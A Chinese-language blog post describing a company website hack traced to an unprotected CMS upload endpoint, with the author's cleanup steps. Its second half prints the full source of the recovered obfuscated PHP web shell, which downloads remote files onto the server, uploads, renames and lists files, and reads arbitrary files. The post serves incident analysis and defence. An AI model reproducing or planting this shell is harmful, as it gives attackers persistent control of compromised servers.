記一次官網被黑的經歷

simplewater發表於2019-01-27

今天下午五點左右收到通知說微信公眾號的官網連結被限制訪問了,上線一看,官網被黑了,百度通過關鍵字搜到官網條目,點進去直接跳轉到一個博彩網站,這就尷尬了,才一天不上班網站就被黑出翔,實在蛋疼。
於是百度搜解決方案,檢視網站首頁原始碼,發現不對勁
file
上伺服器一看,幾乎整個網站根目錄都被替換了
原本正常程式碼目錄應該是這樣的
file
正常的index.php的內容應該如下
file
結果現在的網站目錄變成這樣了
file
目錄無變化,但是檔案TMD除了index.php以外其他檔案都沒了,這就尷尬了
檢視現在的index.php的內容
file
直接變成個html文件了我去。
然後把出檔案全部替換回來,網站恢復正常

接下來尋找被黑原因
進伺服器執行history命令檢視操作命令
未發現異常
推測不是ssh被攻破
是網站程式碼問題
很有可能是cms的漏洞
在網站根目錄通過find ./ -mtime -l 命令檢視最近24小時修改過的檔案
file
發現upload目錄下有修改過的檔案,進去檢視
file
發現被人上傳了個指令碼,很鬱悶,之前沒檢視上傳介面,原來這CMS不做上傳防禦的,不做防禦就算了,上傳檔案之後還不會自動把檔案重新命名的,這遊戲能玩?
檢視了下指令碼內容
file
最後清除了指令碼後,亡羊補牢,設定nginx在上傳目錄下禁止執行php檔案
調整了下攻擊指令碼的格式,內容如下

<?php 

error_reporting(0);

$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";

$id=$sr/*+/*+*/("ri"."d_"."si");

$rn=$sr/*+/*+*/("em"."an"."er");

$dn=$sr/*+/*+*/("em"."anr"."id");

$od=$sr/*+/*+*/("ri"."dne"."po");

$rd=$sr/*+/*+*/("ri"."dda"."er");

$cd=$sr/*+/*+*/("ri"."deso"."lc");

$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");

$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");

$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

if($_GET['act']=='dl')
{
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
    }
    exit;
}

if($_GET['act']=='ul')
{
echo($ulform);

if($_SERVER['REQUEST_METHOD']=='POST')
{
    $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;

}
if($_GET['act']=='rn'){
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $rn/*+/*+*/($_POST['on'],$_POST['nn']);
    }
    exit;
    }
if($_GET['act']=='gp')
{
    echo($dn/*+/*+*/(__FILE__));
    exit;
}
if($_GET['act']=='lp')
{
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $dp=$_POST['dp'].'/';
        $h=$od/*+/*+*/($dp);
        while(($fn=$rd/*+/*+*/($h))!==false)
        {
            if($id/*+/*+*/($dp.$fn))
            {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        $cd/*+/*+*/($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
    $df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}

?>

看著這攻擊指令碼有點疑問,看不太懂,希望有能看懂的同學一起交流下,另外指令碼有大段的./+/+*/ 這種註釋,這種註釋到底有什麼用,或者說,這不僅僅是註釋?還請有明白的同學指點一番

本作品採用《CC 協議》,轉載必須註明作者和本文連結

相關文章